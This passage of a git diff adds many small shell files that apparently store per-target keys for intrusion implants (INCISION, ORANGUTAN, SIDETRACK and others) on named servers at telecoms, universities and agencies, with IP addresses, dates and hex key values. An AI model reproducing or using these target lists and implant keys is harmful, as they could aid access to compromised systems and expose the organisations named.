b/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/incision @@ -0,0 +1,4 @@ +INTONATION___mailscan3.cau.ctm.net___202.175.36.180___20040203-125322() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="6da2bd5a 5f020634 63650677" +} diff --git a/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/orangutan b/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/orangutan new file mode 100644 index 0000000..d23ad94 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/orangutan @@ -0,0 +1,4 @@ +INTONATION___mailscan3.cau.ctm.net___202.175.36.180___20040203-125322() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="e1f2e12a 15d5bdfb 9ad720bf" +} diff --git a/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/sidetrack b/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/sidetrack new file mode 100644 index 0000000..4e9d93b --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mailscan3.cau.ctm.net___202.175.36.180___20040203-125322() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="e933010f 7a39e846 e183de4b 89fcd049" +} diff --git a/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/incision b/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/incision new file mode 100644 index 0000000..00dfece --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/incision @@ -0,0 +1,4 @@ +INTONATION___mailsrv02.macau.ctm.net___202.175.3.120___20041110-164323() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9bbede35 a442d90a 23251cb2" +} diff --git a/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/orangutan b/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/orangutan new file mode 100644 index 0000000..ab14ba9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/orangutan @@ -0,0 +1,4 @@ +INTONATION___mailsrv02.macau.ctm.net___202.175.3.120___20041110-164323() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="f4b82b32 b1bdc0b6 cfe767ba" +} diff --git a/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/patchicillin b/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/patchicillin new file mode 100644 index 0000000..14580ef --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/patchicillin @@ -0,0 +1,4 @@ +INTONATION___mailsrv02.macau.ctm.net___202.175.3.120___20041110-164323() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="b6de0742 d3013284 38abc914" +} diff --git a/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/sidetrack b/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/sidetrack new file mode 100644 index 0000000..4fa0c82 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailsrv02.macau.ctm.net___202.175.3.120/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mailsrv02.macau.ctm.net___202.175.3.120___20041110-164323() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="18f0b54c 70639b12 16560d81 fc9cc92d" +} diff --git a/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/incision b/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/incision new file mode 100644 index 0000000..85c60e8 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/incision @@ -0,0 +1,4 @@ +INTONATION___mailsvra.macau.ctm.net___202.175.3.119___20041129-140502() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3af90a70 e2334caf 49a568f0" +} diff --git a/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/orangutan b/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/orangutan new file mode 100644 index 0000000..0faeb69 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/orangutan @@ -0,0 +1,4 @@ +INTONATION___mailsvra.macau.ctm.net___202.175.3.119___20041129-140502() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="d882d325 0b058864 d7edc135" +} diff --git a/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/patchicillin b/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/patchicillin new file mode 100644 index 0000000..8faf2a3 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/patchicillin @@ -0,0 +1,4 @@ +INTONATION___mailsvra.macau.ctm.net___202.175.3.119___20041129-140502() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="80794fae 900dfebd 92475547" +} diff --git a/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/sidetrack b/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/sidetrack new file mode 100644 index 0000000..505375c --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailsvra.macau.ctm.net___202.175.3.119/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mailsvra.macau.ctm.net___202.175.3.119___20041129-140502() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="2f1f2cd1 82b8fd92 97dced81 431ee96d" +} diff --git a/Linux/bin/varkeys/intonation/mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21/incision b/Linux/bin/varkeys/intonation/mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21/incision new file mode 100644 index 0000000..4dddaac --- /dev/null +++ b/Linux/bin/varkeys/intonation/mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21/incision @@ -0,0 +1,4 @@ +INTONATION___mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21___20020725-132154() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="c9a9589d 87af7062 f9075a12" +} diff --git a/Linux/bin/varkeys/intonation/mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21/orangutan b/Linux/bin/varkeys/intonation/mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21/orangutan new file mode 100644 index 0000000..5b25017 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21/orangutan @@ -0,0 +1,4 @@ +INTONATION___mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21___20020725-132154() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="f4b443d8 80e58f68 e82997db" +} diff --git a/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/dewdrop b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/dewdrop new file mode 100644 index 0000000..73451ed --- /dev/null +++ b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/dewdrop @@ -0,0 +1,4 @@ +INTONATION___mcd-su-2.mos.ru___10.34.100.2___20070206-140548() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/incision b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/incision new file mode 100644 index 0000000..c3e8ff9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/incision @@ -0,0 +1,4 @@ +INTONATION___mcd-su-2.mos.ru___10.34.100.2___20070206-140548() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="116ac87d a98f7729 71c38ebc" +} diff --git a/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/jackladder b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/jackladder new file mode 100644 index 0000000..6128952 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/jackladder @@ -0,0 +1,4 @@ +INTONATION___mcd-su-2.mos.ru___10.34.100.2___20070206-140548() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/orangutan b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/orangutan new file mode 100644 index 0000000..34c2b11 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/orangutan @@ -0,0 +1,4 @@ +INTONATION___mcd-su-2.mos.ru___10.34.100.2___20070206-140548() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="be5853dd 77eced0e 55264e68" +} diff --git a/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/patchicillin b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/patchicillin new file mode 100644 index 0000000..25911a0 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mcd-su-2.mos.ru___10.34.100.2/patchicillin @@ -0,0 +1,4 @@ +INTONATION___mcd-su-2.mos.ru___10.34.100.2___20070206-140548() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="816824c6 9a53d9da 5ef732b1" +} diff --git a/Linux/bin/varkeys/intonation/metcoc5cm.clarent.com___213.132.50.10/incision b/Linux/bin/varkeys/intonation/metcoc5cm.clarent.com___213.132.50.10/incision new file mode 100644 index 0000000..ed3504a --- /dev/null +++ b/Linux/bin/varkeys/intonation/metcoc5cm.clarent.com___213.132.50.10/incision @@ -0,0 +1,4 @@ +INTONATION___METCOC5CM.clarent.com___213.132.50.10___20031010-151735() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="65c67e1d 7f972d4b 7a2a9c53" +} diff --git a/Linux/bin/varkeys/intonation/metcoc5cm.clarent.com___213.132.50.10/orangutan b/Linux/bin/varkeys/intonation/metcoc5cm.clarent.com___213.132.50.10/orangutan new file mode 100644 index 0000000..da20080 --- /dev/null +++ b/Linux/bin/varkeys/intonation/metcoc5cm.clarent.com___213.132.50.10/orangutan @@ -0,0 +1,4 @@ +INTONATION___METCOC5CM.clarent.com___213.132.50.10___20031010-151735() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="e4f983c9 732cd9f5 55eb7316" +} diff --git a/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/incision b/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/incision new file mode 100644 index 0000000..878f1f7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/incision @@ -0,0 +1,4 @@ +INTONATION___mipsa.ciae.ac.cn___202.38.8.1___20040909-115106() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9ac49d9e 7c49d97e 2236c777" +} diff --git a/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/orangutan b/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/orangutan new file mode 100644 index 0000000..fc15b94 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/orangutan @@ -0,0 +1,4 @@ +INTONATION___mipsa.ciae.ac.cn___202.38.8.1___20040909-115106() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="f72c41a2 417dc9e0 1c9238ee" +} diff --git a/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/sidetrack b/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/sidetrack new file mode 100644 index 0000000..fc23888 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mipsa.ciae.ac.cn___202.38.8.1/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mipsa.ciae.ac.cn___202.38.8.1___20040909-115106() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="2ca1f486 a0b93008 5d623b3d c74c0b0d" +} diff --git a/Linux/bin/varkeys/intonation/mn.mn.co.cu___216.72.24.114/jackladder b/Linux/bin/varkeys/intonation/mn.mn.co.cu___216.72.24.114/jackladder new file mode 100644 index 0000000..9f97062 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mn.mn.co.cu___216.72.24.114/jackladder @@ -0,0 +1,3 @@ +INTONATION___mn.mn.co.cu___216.72.24.114___20010227-160012() { + ## JACKLADDER Version:2.0 OS:i386-pc-sco3.2v5.0.5 +} diff --git a/Linux/bin/varkeys/intonation/most.cob.net.ba___195.222.48.5/jackladder b/Linux/bin/varkeys/intonation/most.cob.net.ba___195.222.48.5/jackladder new file mode 100644 index 0000000..1cd6c80 --- /dev/null +++ b/Linux/bin/varkeys/intonation/most.cob.net.ba___195.222.48.5/jackladder @@ -0,0 +1,3 @@ +INTONATION___most.cob.net.ba___195.222.48.5___20000921-123455() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/mpkhi-bk.multi.net.pk___202.141.224.40/incision b/Linux/bin/varkeys/intonation/mpkhi-bk.multi.net.pk___202.141.224.40/incision new file mode 100644 index 0000000..7a66005 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mpkhi-bk.multi.net.pk___202.141.224.40/incision @@ -0,0 +1,5 @@ +INTONATION___mpkhi-bk.multi.net.pk___202.141.224.40___20020826-172332() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="37b1ec88 7961dbac 4dbf0daf" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=660 +} diff --git a/Linux/bin/varkeys/intonation/mpkhi-bk.multi.net.pk___202.141.224.40/orangutan b/Linux/bin/varkeys/intonation/mpkhi-bk.multi.net.pk___202.141.224.40/orangutan new file mode 100644 index 0000000..c1b4ea2 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mpkhi-bk.multi.net.pk___202.141.224.40/orangutan @@ -0,0 +1,4 @@ +INTONATION___mpkhi-bk.multi.net.pk___202.141.224.40___20020826-172332() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="00f56b95 7a365826 226393bd" +} diff --git a/Linux/bin/varkeys/intonation/msgstore2.pldtprv.net___192.168.120.3/incision b/Linux/bin/varkeys/intonation/msgstore2.pldtprv.net___192.168.120.3/incision new file mode 100644 index 0000000..bf8214f --- /dev/null +++ b/Linux/bin/varkeys/intonation/msgstore2.pldtprv.net___192.168.120.3/incision @@ -0,0 +1,4 @@ +INTONATION___msgstore2.pldtprv.net___192.168.120.3___20021114-120148() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="e2d817a0 39231c16 a515e43a" +} diff --git a/Linux/bin/varkeys/intonation/msgstore2.pldtprv.net___192.168.120.3/orangutan b/Linux/bin/varkeys/intonation/msgstore2.pldtprv.net___192.168.120.3/orangutan new file mode 100644 index 0000000..bdc39c6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/msgstore2.pldtprv.net___192.168.120.3/orangutan @@ -0,0 +1,4 @@ +INTONATION___msgstore2.pldtprv.net___192.168.120.3___20021114-120148() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="81733968 69bb0b91 8b6400d6" +} diff --git a/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/incision b/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/incision new file mode 100644 index 0000000..efa0b4b --- /dev/null +++ b/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/incision @@ -0,0 +1,4 @@ +INTONATION___MTCCSUN.imtech.ernet.in___202.141.121.198___20041018-145536() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="688cd98e c94b4689 40dd5001" +} diff --git a/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/orangutan b/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/orangutan new file mode 100644 index 0000000..7d4d57b --- /dev/null +++ b/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/orangutan @@ -0,0 +1,4 @@ +INTONATION___MTCCSUN.imtech.ernet.in___202.141.121.198___20041018-145536() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="f7f37029 0be79edc b7bbf8ba" +} diff --git a/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/patchicillin b/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/patchicillin new file mode 100644 index 0000000..bc26709 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/patchicillin @@ -0,0 +1,4 @@ +INTONATION___MTCCSUN.imtech.ernet.in___202.141.121.198___20041018-145536() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="710097f9 9e1a6631 202e1f19" +} diff --git a/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/sidetrack b/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/sidetrack new file mode 100644 index 0000000..a980bc5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mtccsun.imtech.ernet.in___202.141.121.198/sidetrack @@ -0,0 +1,4 @@ +INTONATION___MTCCSUN.imtech.ernet.in___202.141.121.198___20041018-145536() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="628b26a5 b7700cc8 593b6871 b0fbb5fc" +} diff --git a/Linux/bin/varkeys/intonation/mx1.freemail.ne.jp___210.235.164.21/jackladder b/Linux/bin/varkeys/intonation/mx1.freemail.ne.jp___210.235.164.21/jackladder new file mode 100644 index 0000000..feb845c --- /dev/null +++ b/Linux/bin/varkeys/intonation/mx1.freemail.ne.jp___210.235.164.21/jackladder @@ -0,0 +1,3 @@ +INTONATION___mx1.freemail.ne.jp___210.235.164.21___20000828-113641() { + ## JACKLADDER OS:i386-pc-solaris2.7 +} diff --git a/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/incision b/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/incision new file mode 100644 index 0000000..60f830e --- /dev/null +++ b/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/incision @@ -0,0 +1,4 @@ +INTONATION___n02.unternehmen.com___62.116.144.147___20050705-151139() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f30e0607 75d845af 6396e155" +} diff --git a/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/orangutan b/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/orangutan new file mode 100644 index 0000000..2a07e79 --- /dev/null +++ b/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/orangutan @@ -0,0 +1,4 @@ +INTONATION___n02.unternehmen.com___62.116.144.147___20050705-151139() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="1a588648 2c2359e1 ebe1874f" +} diff --git a/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/patchicillin b/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/patchicillin new file mode 100644 index 0000000..2339a11 --- /dev/null +++ b/Linux/bin/varkeys/intonation/n02.unternehmen.com___62.116.144.147/patchicillin @@ -0,0 +1,4 @@ +INTONATION___n02.unternehmen.com___62.116.144.147___20050705-151139() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="f0249712 b9ede46a f9bb0789" +} diff --git a/Linux/bin/varkeys/intonation/nd11mx1-a-fixed.sancharnet.in___61.0.0.46/orangutan b/Linux/bin/varkeys/intonation/nd11mx1-a-fixed.sancharnet.in___61.0.0.46/orangutan new file mode 100644 index 0000000..f8c8f28 --- /dev/null +++ b/Linux/bin/varkeys/intonation/nd11mx1-a-fixed.sancharnet.in___61.0.0.46/orangutan @@ -0,0 +1,4 @@ +INTONATION___nd11mx1-a-fixed.sancharnet.in___61.0.0.46___20031204-134957() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="2b062b24 e790788e 7b2aee9a" +} diff --git a/Linux/bin/varkeys/intonation/ndl1mc1-a-fixed.sancharnet.in___61.0.0.46/incision b/Linux/bin/varkeys/intonation/ndl1mc1-a-fixed.sancharnet.in___61.0.0.46/incision new file mode 100644 index 0000000..bab34c1 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1mc1-a-fixed.sancharnet.in___61.0.0.46/incision @@ -0,0 +1,5 @@ +INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20031204-134957() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="c401fa75 f7e66e09 4b8c6f9d" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} diff --git a/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/dewdrop b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/dewdrop new file mode 100644 index 0000000..9250ca1 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/dewdrop @@ -0,0 +1,4 @@ +INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20060606-162122() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/incision b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/incision new file mode 100644 index 0000000..c3656e5 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/incision @@ -0,0 +1,4 @@ +INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20060606-162122() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="34a8db49 c873525e 4bbbbe1c" +} diff --git a/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/jackladder b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/jackladder new file mode 100644 index 0000000..04c8d89 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/jackladder @@ -0,0 +1,4 @@ +INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20060606-162122() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/orangutan b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/orangutan new file mode 100644 index 0000000..b6f6ca4 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/orangutan @@ -0,0 +1,4 @@ +INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20060606-162122() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="a62be1ae e421f63f fc24f21c" +} diff --git a/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/patchicillin b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/patchicillin new file mode 100644 index 0000000..aa68111 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/patchicillin @@ -0,0 +1,4 @@ +INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20060606-162122() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="29c3d71d 9d621989 fa541f9f" +} diff --git a/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/sidetrack b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/sidetrack new file mode 100644 index 0000000..a9b4668 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1mx1-a-fixed.sancharnet.in___61.0.0.46/sidetrack @@ -0,0 +1,4 @@ +INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20060606-162122() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="e97c2812 9de3b6b4 efc2a4ef 4ab04ddf" +} diff --git a/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/incision b/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/incision new file mode 100644 index 0000000..889664e --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/incision @@ -0,0 +1,4 @@ +INTONATION___ndl1pp1-a-fixed.sancharnet.in___61.0.0.71___20040406-142721() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="8bf5dd52 c3ab4318 2acb40de" +} diff --git a/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/orangutan b/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/orangutan new file mode 100644 index 0000000..f9e6bff --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/orangutan @@ -0,0 +1,4 @@ +INTONATION___ndl1pp1-a-fixed.sancharnet.in___61.0.0.71___20040406-142721() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="d73b45d8 4bbe77e9 bbc25b17" +} diff --git a/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/patchicillin b/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/patchicillin new file mode 100644 index 0000000..cb06b37 --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/patchicillin @@ -0,0 +1,4 @@ +INTONATION___ndl1pp1-a-fixed.sancharnet.in___61.0.0.71___20040406-142721() { + ## PATCHICILLIN Version:1.1 OS:sparc-sun-solaris2.8 + export CV="91e60895 3982f4d6 573e5dc4" +} diff --git a/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/sidetrack b/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/sidetrack new file mode 100644 index 0000000..e53d30c --- /dev/null +++ b/Linux/bin/varkeys/intonation/ndl1pp1-a-fixed.sancharnet.in___61.0.0.71/sidetrack @@ -0,0 +1,4 @@ +INTONATION___ndl1pp1-a-fixed.sancharnet.in___61.0.0.71___20040406-142721() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="0564f4c2 2efcc195 20298dbf 0aa32690" +} diff --git a/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/incision b/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/incision new file mode 100644 index 0000000..7b44e81 --- /dev/null +++ b/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/incision @@ -0,0 +1,4 @@ +INTONATION___no1.unternehemen.com___62.116.144.150___20050127-173545() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="83a1ca9a e6d626ab 3081ad25" +} diff --git a/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/orangutan b/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/orangutan new file mode 100644 index 0000000..3bc50db --- /dev/null +++ b/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/orangutan @@ -0,0 +1,4 @@ +INTONATION___no1.unternehemen.com___62.116.144.150___20050127-173545() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="23a0c633 fd526eb9 5156ae46" +} diff --git a/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/patchicillin b/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/patchicillin new file mode 100644 index 0000000..d1cb605 --- /dev/null +++ b/Linux/bin/varkeys/intonation/no1.unternehemen.com___62.116.144.150/patchicillin @@ -0,0 +1,4 @@ +INTONATION___no1.unternehemen.com___62.116.144.150___20050127-173545() { + ## 